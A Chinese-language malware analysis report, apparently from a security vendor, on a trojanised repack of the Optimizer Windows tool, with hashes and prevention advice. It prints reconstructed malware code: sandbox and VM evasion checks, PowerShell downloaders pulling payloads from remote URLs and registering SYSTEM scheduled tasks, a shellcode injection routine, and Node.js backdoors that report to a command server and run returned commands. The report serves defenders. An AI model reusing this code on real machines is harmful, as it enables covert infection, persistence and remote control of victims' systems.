概述
近日瑞星威胁情报平台监测到一起针对知名开源Windows优化工具Optimizer的恶意攻击事件,攻击者将恶意代码植入该工具后进行二次打包,并通过网络渠道传播,该木马程序具备多重反检测机制——通过对环境特征检测技术规避虚拟机与沙箱分析,同时采用多层脚本动态加载和系统进程注入等手段突破安全防护,最终利用计划任务持久化驻留并启动后门脚本。
攻击流程
Optimizer.exe检测运行环境,释放并运行nfnbbnfdhdh.ps1。nfnbbnfdhdh.ps1下载usb.dll,添加计划任务,该计划任务会通过rundll32.exe调用usb.dll中的usb函数。usb.dll将shellcode注入AggregatorHost.exe,释放并运行temp.ps1。temp.ps1下载最终的后门脚本,添加计划任务,该计划任务会调用node.exe执行后门脚本。

样本分析
Optimizer.exe分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | Optimizer.exe |
| 文件大小 | 2531 KB |
| 文件MD5 | 03ea8db00d4720e18f6f61d01acfc19b |
| 文件类型 | EXE |
| 病毒名 | Trojan.AntiVM!1.CF63 |
| 主要功能 | 检测运行环境,释放并运行nfnbbnfdhdh.ps1 |
加密的数据会通过Base64解码和AES解密
private static string JCBQmsoWLf(string WTaDfZoZCz)
{
string result;
using (Aes aes = Aes.Create())
{
aes.Key = Program.cRdSSFAyCP; //1234567890123456
aes.IV = Program.mDlYppkKqs; //6543210987654321
ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(WTaDfZoZCz)))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
result = streamReader.ReadToEnd();
}
}
}
}
return result;
}
判断参数是否/aa,检测虚拟机及沙箱
string[] commandLineArgs = Environment.GetCommandLineArgs();
if (commandLineArgs.Length > 1)
{
if (commandLineArgs[1] == "/aa" && !OptimizerHelper.FMaXQuhlpsHp() && !OptimizerHelper.usQUwnfetSFA() && !OptimizerHelper.HLQwwZubTZUi() && !OptimizerHelper.AJIeBbYkXXEo() && !OptimizerHelper.ztMVlnlVRvEU() && !OptimizerHelper.hYqVUzKbGOgo() && !OptimizerHelper.JVtkdCExalQo() && !OptimizerHelper.XjlSCpAafgXo() && !OptimizerHelper.hMaBRqgsOJyG() && !OptimizerHelper.kFWpFWkwrTsZ() && !OptimizerHelper.ELXVPHGGzhka() && !OptimizerHelper.kSaizKQVFmUF() && !OptimizerHelper.NqWyZRxhGqwM() && !OptimizerHelper.cQkRGficGiGN() && !OptimizerHelper.ohxcMwMbpQYS() && !OptimizerHelper.CcKrdMMekfCG())
{
函数名及对应功能如下:
| 函数名 | 功能 |
|---|---|
| OptimizerHelper.FMaXQuhlpsHp() | Sandboxie沙箱环境 |
| OptimizerHelper.usQUwnfetSFA() | Comodo沙箱检测 |
| OptimizerHelper.HLQwwZubTZUi() | 360 Total Security检测 |
| OptimizerHelper.AJIeBbYkXXEo() | Cuckoo沙箱环境检测 |
| OptimizerHelper.ztMVlnlVRvEU() | 时间流逝检测 |
| OptimizerHelper.hYqVUzKbGOgo() | Wine(Windows 兼容层)环境检测 |
| OptimizerHelper.JVtkdCExalQo() | 通过WMI检测虚拟机 |
| OptimizerHelper.XjlSCpAafgXo() | 通过驱动检测虚拟机 |
| OptimizerHelper.hMaBRqgsOJyG() | VirtualBox/VMware环境检测 |
| OptimizerHelper.kFWpFWkwrTsZ() | 通过服务进程检测虚拟机 |
| OptimizerHelper.ELXVPHGGzhka() | 通过物理端口检测虚拟机 |
| OptimizerHelper.kSaizKQVFmUF() | 通过设备路径及命名管道检测沙箱及虚拟机 |
| OptimizerHelper.NqWyZRxhGqwM() | 通过计算机硬件配置(内存大小、处理器数量、磁盘容量)检测虚拟机 |
| OptimizerHelper.cQkRGficGiGN() | 通过屏幕分辨率检测虚拟机 |
| OptimizerHelper.ohxcMwMbpQYS() | 通过鼠标活动轨迹检测沙箱 |
| OptimizerHelper.CcKrdMMekfCG() | 通过系统启动时间检测虚拟机 |
获取浏览器历史记录信息
string text2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // C:\Users\<用户名>\AppData\Local
string text3 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); // C:\Users\<用户名>\AppData\Roaming
if (Program.cMumlScApQ()) //检测当前程序是否以 Windows SYSTEM 账户权限运行
{
ValueTuple<string, string> valueTuple = Program.KhGEmIBHcv();
text2 = valueTuple.Item2; // C:\Users\<用户名>\AppData\Local
text3 = valueTuple.Item1; // C:\Users\<用户名>\AppData\Roaming
}
foreach (ValueTuple<string, string, double> valueTuple2 in new List<ValueTuple<string, string, double>>)
{
Program.YgtDqynmfp("Google Chrome", Path.Combine(text2, path)), // C:\Users\<用户名>\AppData\Local\Google\Chrome\User Data\Default\History
Program.YgtDqynmfp("Mozilla Firefox", Program.RtXZyotBYQ(text3)), // C:\Users\<用户名>\AppData\Roaming\Mozilla\Firefox\Profiles\[随机ID].default
Program.YgtDqynmfp("Microsoft Edge", Path.Combine(text2, path2)), // C:\Users\<用户名>\AppData\Local\Microsoft\Edge\User Data\Default\History
Program.YgtDqynmfp("Internet Explorer", Program.LfOaCWvWTy(text2)), // C:\Users\<用户名>\AppData\Local\Microsoft\Windows\History\*.dat
Program.YgtDqynmfp("Brave", Path.Combine(text2, path3)), // C:\Users\<用户名>\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\History
Program.YgtDqynmfp("Opera", Path.Combine(text3, path4)) // C:\Users\<用户名>\AppData\Roaming\Opera Software\Opera Stable\History
}
ValueTuple : <浏览器名称, 浏览器历史记录路径, 浏览器历史记录文件大小(MB)>
通过浏览器历史记录文件大小判断是否为虚拟环境(测试结果显示在Chrome浏览器中,累计700条浏览历史记录所对应的History文件大小约为0.5 MB)
{
if (valueTuple2.Item3 > 0.5) // 历史记录文件>0.5MB
{
if (!(valueTuple2.Item1 == "Mozilla Firefox")) // 非Firefox浏览器
{
flag = true;
break;
}
if (valueTuple2.Item3 > 5.5) // Firefox浏览器且文件>5.5MB
{
flag = true;
break;
}
}
}
判断若不在检测环境,则释放nfnbbnfdhdh.ps1并运行
{
try
{
string fileName = Program.JCBQmsoWLf("pTlbzWIEKOs5pKlSgEAb5A=="); // powershell.exe
string tempPath = Path.GetTempPath();
string path = "nfnbbnfdhdh.ps1";
string text = Path.Combine(tempPath, path);
string directoryName = Path.GetDirectoryName(text);
if (!Directory.Exists(directoryName))
{
Directory.CreateDirectory(directoryName);
}
File.WriteAllText(text, kYqHVeDBLW); // 传入的powershell脚本
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = fileName,
Arguments = "-ExecutionPolicy Bypass -File \"" + text + "\"",
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (Process process = new Process())
{
process.StartInfo = startInfo;
process.Start();
process.WaitForExit();
}
File.Delete(text);
}
catch (Exception)
{
Console.WriteLine("");
}
}
nfnbbnfdhdh.ps1分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | nfnbbnfdhdh.ps1 |
| 文件大小 | 3 KB |
| 文件MD5 | 76d27d57c54e58ce05ab5afbdeb668c3 |
| 文件类型 | powershell |
| 病毒名 | Downloader.Agent/PS!1.13784 |
| 主要功能 | 下载usb.dll,创建计划任务 |
将恶意文件下载至C:\Windows\[0-9]{4}\usb.dll
function Install-Script {
$systemDrive = [System.Environment]::GetEnvironmentVariable("SystemDrive")
if (-Not (Test-Path -Path $systemDrive)) {
New-Item -Path $systemDrive -ItemType Directory -Force | Out-Null
}
$pathFour = Get-RandomNumber -Length 4
$folderUuid = "Windows\$pathFour"
$folderPath = Join-Path $systemDrive $folderUuid
New-Item -Path $folderPath -ItemType Directory -Force | Out-Null
$fileUuid = "usb"
$filePathTemp = Join-Path $folderPath $fileUuid
$filePath = "$filePathTemp.dll" #C:\Windows\[0-9]{4}\usb.dll
$scriptUrl = "https://creufkcutp.s3.us-east-1.amazonaws.com/usb.dll"
Invoke-WebRequest -Uri $scriptUrl -OutFile $filePath -UseBasicParsing
return $filePath
}
function Get-RandomNumber {
param(
[int]$Length
)
$min = [math]::Pow(10, $Length - 1)
$max = [math]::Pow(10, $Length) - 1
$random = Get-Random -Minimum $min -Maximum $max
return [int]$random
}
创建计划任务,通过rundll32.exe调用usb.dll中的usb函数
function Install-Task {
param (
[string]$filePath,
[string]$taskName,
[string]$taskPath
)
$quotedFilePath = "`"$filePath`",usb"
$actionNode = New-ScheduledTaskAction -Execute "`"C:\Windows\System32\rundll32.exe`"" -Argument $quotedFilePath
$hourlyTrigger = New-ScheduledTaskTrigger -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Hours 1) -Once
$startupTrigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest;
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;
$task = New-ScheduledTask -Action $actionNode -Principal $principal -Trigger $hourlyTrigger, $startupTrigger -Settings $settings;
Register-ScheduledTask -TaskName $taskName -InputObject $task -TaskPath $taskPath
}
usb.dll分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | usb.dll |
| 文件大小 | 273 KB |
| 文件MD5 | 804e8ff0d9753c267ef1f617965eb2bb |
| 文件类型 | DLL |
| 病毒名 | Trojan.Injector/x64!1.1376E |
| 主要功能 | 向AggregatorHost.exe注入shellcode |
查找AggregatorHost.exe进程,若存在则执行注入操作
// 查找目标进程
HANDLE target_process = find_process_by_name("AggregatorHost.exe");
if (target_process != NULL)
{
// 向目标进程注入Shellcode
int injection_result = inject_shellcode(target_process);
if (injection_result != INJECTION_FAILED)
{
return injection_result; // 成功返回注入结果
}
printf("Error");
return; // 注入失败退出
}
printf("Error");
// 尝试向当前进程注入(进程ID=0表示当前进程)
int self_injection_result = inject_shellcode(0);
if (self_injection_result == INJECTION_FAILED)
{
printf("Error");
return;
}
return self_injection_result;
将解密后的shellcode注入至AggregatorHost.exe进程
DWORD inject_shellcode(DWORD target_pid)
{
// 打开目标进程
HANDLE h_process = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
FALSE,
target_pid
);
// 检查进程句柄有效性 (原代码中的指针校验逻辑)
if (h_process == NULL || h_process == INVALID_HANDLE_VALUE) {
return INJECTION_FAILED;
}
// 分配缓冲区存放解密后的Shellcode
size_t shellcode_size = SHELLCODE_SIZE;
BYTE* decrypted_buf = (BYTE*)malloc(shellcode_size);
if (!decrypted_buf) {
CloseHandle(h_process);
return INJECTION_FAILED;
}
// Shellcode异或解密
const BYTE* encrypted_data = get_encrypted_shellcode(); // 指向加密数据源
// 批量处理16字节对齐块
size_t aligned_chunks = shellcode_size & ~0xF;
for (size_t offset = 0; offset < aligned_chunks; offset += 16) {
__m128i encrypted_block = _mm_loadu_si128((__m128i*)&encrypted_data[offset]);
__m128i xor_mask = _mm_set1_epi8(XOR_KEY);
__m128i decrypted_block = _mm_xor_si128(encrypted_block, xor_mask);
_mm_storeu_si128((__m128i*)&decrypted_buf[offset], decrypted_block);
}
// 处理剩余非对齐字节
for (size_t i = aligned_chunks; i < shellcode_size; ++i) {
decrypted_buf[i] = encrypted_data[i] ^ XOR_KEY;
}
// 在目标进程分配可执行内存
LPVOID remote_mem = VirtualAllocEx(
h_process,
NULL,
shellcode_size,
ALLOC_TYPE,
PAGE_PERMISSIONS
);
if (!remote_mem) {
free(decrypted_buf);
CloseHandle(h_process);
return INJECTION_FAILED;
}
// 写入解密后的Shellcode
SIZE_T bytes_written = 0;
BOOL write_success = WriteProcessMemory(
h_process,
remote_mem,
decrypted_buf,
shellcode_size,
&bytes_written
);
free(decrypted_buf); // 立即释放临时缓冲区
if (!write_success || bytes_written != shellcode_size) {
VirtualFreeEx(h_process, remote_mem, 0, MEM_RELEASE);
CloseHandle(h_process);
return INJECTION_FAILED;
}
// 创建远程线程执行Shellcode
HANDLE h_thread = CreateRemoteThread(
h_process,
NULL,
0,
(LPTHREAD_START_ROUTINE)remote_mem,
NULL,
0,
NULL
);
if (!h_thread || h_thread == INVALID_HANDLE_VALUE) {
VirtualFreeEx(h_process, remote_mem, 0, MEM_RELEASE);
CloseHandle(h_process);
return INJECTION_FAILED;
}
// 等待线程执行完成
DWORD wait_result = WaitForSingleObject(h_thread, INFINITE);
// 资源清理
CloseHandle(h_thread);
VirtualFreeEx(h_process, remote_mem, 0, MEM_RELEASE);
CloseHandle(h_process);
return (wait_result == WAIT_OBJECT_0) ? INJECTION_SUCCESS : INJECTION_FAILED;
}
注入的shellcode分析
| 字段 | 内容 |
|---|---|
| 文件MD5 | 31bde898b77771957048d6a148fee8fe |
| 文件类型 | shellcode |
| 主要功能 | 内存解密PE文件并执行 |
shellcode通过自定义异或算法解密硬编码数据
void block_cipher_process(void* context, __m128i* input_block, uint8_t* output_buf, uint32_t data_len)
{
if (data_len == 0) return;
// 计算上下文与本地缓冲区的相对偏移
__m128i local_buffer[2];
ptrdiff_t context_offset = (uint8_t*)context - (uint8_t*)local_buffer;
// 输入块结束地址(用于边界检查)
uint8_t* input_end = (uint8_t*)input_block + 15;
do {
// 复制输入块到本地缓冲区
if ((uint8_t*)local_buffer > (uint8_t*)input_end ||
(uint8_t*)local_buffer + 15 < (uint8_t*)input_block)
{
local_buffer[0] = *input_block;
}
else
{
// 处理重叠情况(实际执行相同操作)
local_buffer[0] = *input_block;
}
// === 密钥混合阶段 ===
uint32_t* buffer_ptr = (uint32_t*)local_buffer;
for (size_t i = 0; i < 4; i++)
{
// 将上下文密钥与数据块异或混合
*buffer_ptr ^= *(uint32_t*)((uint8_t*)buffer_ptr + context_offset);
buffer_ptr++;
}
// === 块加密核心 ===
// 解包128位块为4个32位字
uint32_t* state = (uint32_t*)local_buffer;
uint32_t w0 = state[0]; // 最低位字
uint32_t w1 = state[1];
uint32_t w2 = state[2];
uint32_t w3 = state[3]; // 最高位字
// 16轮加密变换
for (int round = 0; round < 16; round++)
{
// 第一层混合
uint32_t temp0 = w1 + w0;
uint32_t temp1 = w3 + w2;
// 非线性变换
uint32_t mixed0 = temp0 ^ ((w1 << 5) | (w1 >> 27)); // 32位旋转
uint32_t mixed1 = temp1 ^ ((w3 << 8) | (w3 >> 24)); // 24位旋转
// 第二层混合
uint32_t sum = mixed0 + mixed1;
// 状态更新(带旋转)
w1 = sum ^ ((mixed0 >> 25) | (mixed0 << 7)); // 25位右旋转
w2 = _rotr(mixed1, 19); // 19位右旋转
w0 = _rotr(temp0, 16) + mixed1; // 16位右旋转
w3 = w0 ^ _rotr(mixed1, 19); // 19位右旋转
}
// 重组加密后的块
state[0] = w0;
state[1] = w1;
state[2] = w2;
state[3] = w3;
// === 后处理阶段 ===
buffer_ptr = (uint32_t*)local_buffer;
for (size_t i = 0; i < 4; i++)
{
// 再次与上下文密钥混合
*buffer_ptr ^= *(uint32_t*)((uint8_t*)buffer_ptr + context_offset);
buffer_ptr++;
}
// === 输出处理 ===
// 计算本次处理的字节数(最多16字节)
uint32_t process_bytes = (data_len > 16) ? 16 : data_len;
// 流密码模式:密钥流与明文异或
uint8_t* key_stream = (uint8_t*)local_buffer;
uint8_t* out_ptr = output_buf;
for (uint32_t i = 0; i < process_bytes; i++)
{
// 每个输出字节与密钥流对应字节异或
*out_ptr ^= key_stream[i];
out_ptr++;
}
// 更新计数器和指针
data_len -= process_bytes;
output_buf += process_bytes;
// === 计数器递增 ===
// 大端计数器递增(从最高字节开始)
uint8_t* counter_ptr = (uint8_t*)input_block + 15;
for (int i = 15; i >= 0; i--)
{
if (++(*counter_ptr) != 0x00) break; // 无进位则停止
counter_ptr--; // 处理前一个字节的进位
}
} while (data_len > 0);
}
内存解密的结果是一个PE文件

内存解密的PE文件分析
| 字段 | 内容 |
|---|---|
| 文件大小 | 148 KB |
| 文件MD5 | 20a3fa9406ec27ba41c9df912baf1d22 |
| 文件类型 | EXE |
| 主要功能 | 释放并启动tmp.ps1文件 |
隐蔽执行创建在临时目录下的powershell脚本文件tmp.ps1
int execute_powershell_script(const char* script_content)
{
// 获取系统临时目录路径
char temp_dir_path[MAX_PATH_LENGTH];
if (!GetTempPathA(sizeof(temp_dir_path), temp_dir_path)) {
return 1; // 获取临时目录失败
}
// 构建临时脚本文件路径
char script_path[MAX_PATH_LENGTH];
if (snprintf(script_path, sizeof(script_path), "%stmp.ps1", temp_dir_path) < 0) {
return 1; // 路径构建失败
}
// 创建并写入PowerShell脚本
FILE* script_file = fopen(script_path, "w");
if (!script_file) {
return 1; // 文件创建失败
}
fputs(script_content, script_file); // 写入脚本内容
fclose(script_file);
// 构建PowerShell执行命令
char powershell_cmd[MAX_CMD_LENGTH];
if (snprintf(powershell_cmd, sizeof(powershell_cmd),
"powershell.exe -NoProfile -WindowStyle Hidden "
"-ExecutionPolicy Bypass -File \"%s\"",
script_path) < 0) {
return 1; // 命令构建失败
}
// 准备进程启动参数
STARTUPINFOA startup_info = {0};
PROCESS_INFORMATION process_info = {0};
startup_info.cb = sizeof(startup_info);
startup_info.dwFlags = STARTF_USESHOWWINDOW; // 使用窗口显示标志
startup_info.wShowWindow = SW_HIDE; // 隐藏窗口
// 创建隐藏的PowerShell进程
char exec_cmd[MAX_CMD_LENGTH];
strcpy(exec_cmd, powershell_cmd); // 创建可修改的命令副本
if (!CreateProcessA(
NULL,
exec_cmd,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&startup_info,
&process_info)) {
return 1; // 进程创建失败
}
// 等待脚本执行完成
WaitForSingleObject(process_info.hProcess, INFINITE);
// 获取退出代码并清理资源
DWORD exit_code = 0;
GetExitCodeProcess(process_info.hProcess, &exit_code);
// 清理资源
CloseHandle(process_info.hThread);
CloseHandle(process_info.hProcess);
// DeleteFileA(script_path);
return exit_code;
}
powershell脚本硬编码在文件内

tmp.ps1分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | tmp.ps1 |
| 文件大小 | 7 KB |
| 文件MD5 | e271e80e95387400dc7d409533f52a63 |
| 文件类型 | powershell |
| 病毒名 | Downloader.Agent/PS!1.13784 |
| 主要功能 | 下载两个后门脚本文件,添加两个脚本的计划任务 |
检查EDP计划任务是否存在,如果存在则删除
Check-And-Remove-Task -taskPath "\Microsoft\Windows\EDP\" -taskName "EDP Performance Task"
...
function Check-And-Remove-Task {
param (
[Parameter(Mandatory=$true)]
[string]$taskPath,
[Parameter(Mandatory=$true)]
[string]$taskName
)
$taskExists = Get-ScheduledTask -TaskPath $taskPath -TaskName $taskName -ErrorAction SilentlyContinue
if ($taskExists) {
Unregister-ScheduledTask -TaskPath $taskPath -TaskName $taskName -Confirm:$false
}
}
通过注册表检查Node.js是否安装,如果未安装则静默安装指定版本的Node.js
function Install-NodeJS {
$nodePath = Read-RegValue -Path "SOFTWARE\Node.js" -Name "InstallPath"
if (-Not ($nodePath)) {
if ((Get-WmiObject -Class Win32_ComputerSystem).SystemType -match 'x64') {
Start-Process -FilePath "msiexec.exe" -ArgumentList "/i https://nodejs.org/dist/v20.19.1/node-v20.19.1-x64.msi /quiet /norestart" -Wait -NoNewWindow
}
else {
Start-Process -FilePath "msiexec.exe" -ArgumentList "/i https://nodejs.org/dist/v20.19.1/node-v20.19.1-x64.msi /quiet /norestart" -Wait -NoNewWindow
}
}
$nodePath = Read-RegValue -Path "SOFTWARE\Node.js" -Name "InstallPath"
if (-Not ($nodePath)) {
$systemDrive = [System.Environment]::GetEnvironmentVariable("SystemDrive")
$nodePath = "$systemDrive\Program Files\nodejs\";
}
$nodeExe = "node.exe"
return "`"$nodePath$nodeExe`""
}
从远程服务器下载脚本文件并保存到C:\EDP\{[随机UUID]}目录下,文件名为[随机UUID]
function Install-Script {
$systemDrive = [System.Environment]::GetEnvironmentVariable("SystemDrive")
$packageCachePath = "$systemDrive"
if (-Not (Test-Path -Path $packageCachePath)) {
New-Item -Path $packageCachePath -ItemType Directory -Force | Out-Null
}
$folderPath = "$packageCachePath\EDP\{$([guid]::NewGuid())}"
New-Item -Path $folderPath -ItemType Directory -Force | Out-Null
$filePath = "$folderPath\$([guid]::NewGuid())"
$scriptUrl = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly9pbnN0YW50LWtiLm9ubGluZS91cGRhdGVzL0tCODAxNjQ0MzI="))
Invoke-WebRequest -Uri $scriptUrl -OutFile $filePath -UseBasicParsing
return $filePath
}
从远程服务器下载脚本文件并保存到C:\WindowsSettings\{[随机UUID]}目录下,文件名为[随机UUID]
function Install-Script-New {
$systemDrive = [System.Environment]::GetEnvironmentVariable("SystemDrive")
$packageCachePath = "$systemDrive"
if (-Not (Test-Path -Path $packageCachePath)) {
New-Item -Path $packageCachePath -ItemType Directory -Force | Out-Null
}
$folderPath = "$packageCachePath\WindowsSettings\{$([guid]::NewGuid())}"
New-Item -Path $folderPath -ItemType Directory -Force | Out-Null
$filePath = "$folderPath\$([guid]::NewGuid())"
$scriptUrl = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("aHR0cHM6Ly91dXUucnFmZWZ4c2EueHl6L2NhYi5qcw=="))
Invoke-WebRequest -Uri $scriptUrl -OutFile $filePath -UseBasicParsing
return $filePath
}
创建计划任务,通过node.exe运行下载的两个脚本
$filePath = Install-Script
Install-Task -filePath $filePath -nodePath $nodePath -taskName "EDP Performance Task" -taskPath "\Microsoft\Windows\EDP"
$filePathN = Install-Script-New
Install-Task -filePath $filePathN -nodePath $nodePath -taskName "MonitoringSchedule" -taskPath "\Microsoft\Windows\Hotpatch"
...
function Install-Task {
param (
[string]$filePath,
[string]$nodePath,
[string]$taskName,
[string]$taskPath
)
$quotedFilePath = "`"$filePath`""
$actionNode = New-ScheduledTaskAction -Execute $nodePath -Argument $quotedFilePath
$hourlyTrigger = New-ScheduledTaskTrigger -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Hours 1) -Once
$startupTrigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest;
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;
$task = New-ScheduledTask -Action $actionNode -Principal $principal -Trigger $hourlyTrigger, $startupTrigger -Settings $settings;
Register-ScheduledTask -TaskName $taskName -InputObject $task -TaskPath $taskPath
}
通过在注册表中添加SystemComponent键值,并将其内容设置为1可将程序标识为系统核心组件,从而实现隐藏Node.js的目的
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F842C5DD-4337-467E-A1E3-169C5AAADF9D}" /v SystemComponent /t REG_DWORD /d 1 /f
KB80164432.js分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | KB80164432.js |
| 文件大小 | 29 KB |
| 文件MD5 | 5ea776ca7dccac71138a6e92a4f5c934 |
| 文件类型 | javascript |
| 病毒名 | Backdoor.Agent/JS!1.13780 |
| 主要功能 | 后门程序,接收服务器指令并执行 |
收集系统信息
920: (t, e, n) => {
"use strict";
Object.defineProperty(e, "__esModule", {value: true});
const r = n(400), o = n(558), i = n(368), s = () => {
if ("win32" === process.platform) try {
const t = (0, i.execSync)('powershell.exe -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID"');
if (t) {
const e = t.toString("utf-8").trim().match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi);
return e ? e[0] : "";
}
} catch (t) {
return "";
}
return "";
};
class c {
static build() { //收集信息
return this.info || (this.info = {os_type: o.type(), os_name: o.platform(), os_release: o.release(), os_version: o.version(), os_hostname: o.hostname(), os_arch: o.arch(), machine_id: (0, r.machineIdSync)(true), machine_uuid: s()}), this.info;
}
static getDefaultShell() {
return "win32" === o.platform() ? "cmd.exe" : "bash";
}
}
c.info = null, e.default = c;
向远程服务器发送收集的系统信息,等待服务器返回指令数组,分割指令并下载远程文件
console.debug(`Using ${t}`), console.debug(this.pingBody), yield a.HttpRequest.post(`${t}/d`, { //发送收集的系统信息
method: "POST",
body: JSON.stringify(this.pingBody),
headers: {
"Content-Type": "application/json"
}
}).then(t => r(this, undefined, undefined, function * () {
if (t && Array.isArray(t)) {
const e = [];
yield t.reduce((t, o) => r(this, undefined, undefined, function * () {
return yield t,
new Promise((t, s) => r(this, undefined, undefined, function * () {
try {
const r = o.split(":"), //分割指令
s = yield a.HttpRequest.downloadFile(r.slice(1).join(":"), { //下载远程文件
"x-mid": this.pingBody.machine_id,
"x-uid": this.pingBody.machine_uuid
}, (0, i.extname)(r[1]));
通过不同命令,执行下载的文件
switch (s && n.push(s), r[0].toLowerCase()) {
case "node":
s && e.push(`"${process.argv[0]}" "${s}"`);
break;
case "cmd":
s && e.push(`"${s}"`);
break;
case "ps1":
s && e.push(`powershell.exe -ExecutionPolicy Bypass "${s}"`);
break;
case "ow":
s && e.push(`copy "${s}" "${__filename}"`);
break;
case "sh":
s && (e.push(`chmod +x "${s}"`), e.push(`"${s}"`));
}
t(s);
}
catch (t) {
console.debug(t),
yield this.logResult({
o: "",
e: t.toString(),
ec: undefined,
s: undefined
}),
this.cleanupFiles(n),
process.exit(1);
}
}));
}), Promise.resolve()), 0 === e.length && (yield this.logResult({
o: `Got ${e.length} commands.`,
e: null,
ec: undefined,
s: undefined
}), process.exit(0));
const o = new f.ShellSession(s.default.getDefaultShell());
yield o.exec(e).then(t => r(this, undefined, undefined, function * () { //执行命令
yield this.logResult(t),
this.cleanupFiles(n),
process.exit(0);
}
命令及功能如下:
| 指令 | 功能 |
|---|---|
| node | 执行JS脚本 |
| cmd | 直接执行可执行文件/bat脚本 |
| ps1 | 执行powershell脚本 |
| ow | 覆盖当前运行的程序文件(自更新) |
| sh | 添加执行权限后运行Shell脚本 |
cab.js分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | cab.js |
| 文件大小 | 420 KB |
| 文件MD5 | 804957e501ee0443632ea675353326d4 |
| 文件类型 | javascript |
| 病毒名 | Backdoor.Agent/JS!1.13782 |
| 主要功能 | 后门程序,执行服务器返回数据 |
收集系统信息
0x68: (_0x15ed62, _0xae7a48, _0x43bd9c) => {
'use strict';
var _0x5f5cfe = {
value: true
};
Object.defineProperty(_0xae7a48, '__esModule', _0x5f5cfe);
const _0x2553a0 = _0x43bd9c(518);
const _0x226cd7 = _0x43bd9c(857);
class _0x5ce131 {
static["build"]() {
if (!this.info) {
0;
this.info = {
'os_type': _0x226cd7.type(),
'os_name': _0x226cd7.platform(),
'os_release': _0x226cd7.release(),
'os_version': _0x226cd7.version(),
'os_hostname': _0x226cd7.hostname(),
'os_arch': _0x226cd7.arch(),
'machine_id': _0x2553a0.machineIdSync(true)
};
}
return this.info;
}
static["getDefaultShell"]() {
if ("win32" === _0x226cd7.platform()) {
return 'cmd.exe';
}
throw new Error("Not implemented");
}
}
_0x5ce131.info = null;
_0xae7a48["default"] = _0x5ce131;
}
向远程服务器发送收集的系统信息,执行远程服务器返回的script字段的内容
do {
var _0x9054bd = {
"Content-Type": "application/json"
};
yield _0x57a3ee.HttpRequest.post(_0x2ea0e8 + '/d', {
'method': "POST",
'body': JSON.stringify(_0x19c3d3),
'headers': _0x9054bd
}).then(_0x5a3c07 => _0x41272c(this, undefined, undefined, function * () {
if (_0x5a3c07 && _0x5a3c07.metadata) {
var _0x1e9f07 = JSON.parse(_0x5a3c07.metadata);
_0x1e9f07.id = _0x5a3c07.id;
var _0x4a9311 = new _0x49072b.ShellSession(_0x1e9f07.shell || _0x41f927['default'].getDefaultShell());
yield _0x4a9311.exec(_0x1e9f07.script).then(_0x5510d2 => _0x41272c(this, undefined, undefined, function * () { //执行 script 字段内容
yield this.handleShellExecutionResult(_0x19c3d3.machine_id, _0x5510d2, _0x1e9f07);
process.exit(0);
}))['catch'](_0x117422 => _0x41272c(this, undefined, undefined, function * () {
yield this.handleShellExecutionResult(_0x19c3d3.machine_id, _0x117422, _0x1e9f07);
process.exit(1);
}));
} else {
process.exit(0);
}
}))["catch"](_0x351d9d => {
console.error(_0x351d9d);
});
} while (++_0x3c40e5 < 3);
攻击过程可视化(EDR)
瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。


总结
在开源软件蓬勃发展的当下,知名开源Windows优化工具Optimizer凭借其高效的功能和广泛的用户基础,成为众多用户优化系统的首选。然而,此次针对Optimizer的恶意攻击事件,让广大用户深刻认识到,在享受开源软件便利的同时,不能对其安全性掉以轻心。
攻击者通过将恶意代码植入Optimizer工具并进行二次打包,巧妙地利用了用户对开源软件的信任,将木马程序传播至用户终端。该木马程序具备多重反检测机制,不仅利用环境特征检测技术规避了虚拟机与沙箱分析,还通过多层脚本动态加载和系统进程注入等高级手段,成功突破了用户的安全防护体系。一旦木马程序在用户系统中驻留,便会利用计划任务实现持久化,并启动后门脚本,从而窃取用户敏感信息、控制用户系统,给用户带来极大的安全风险。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
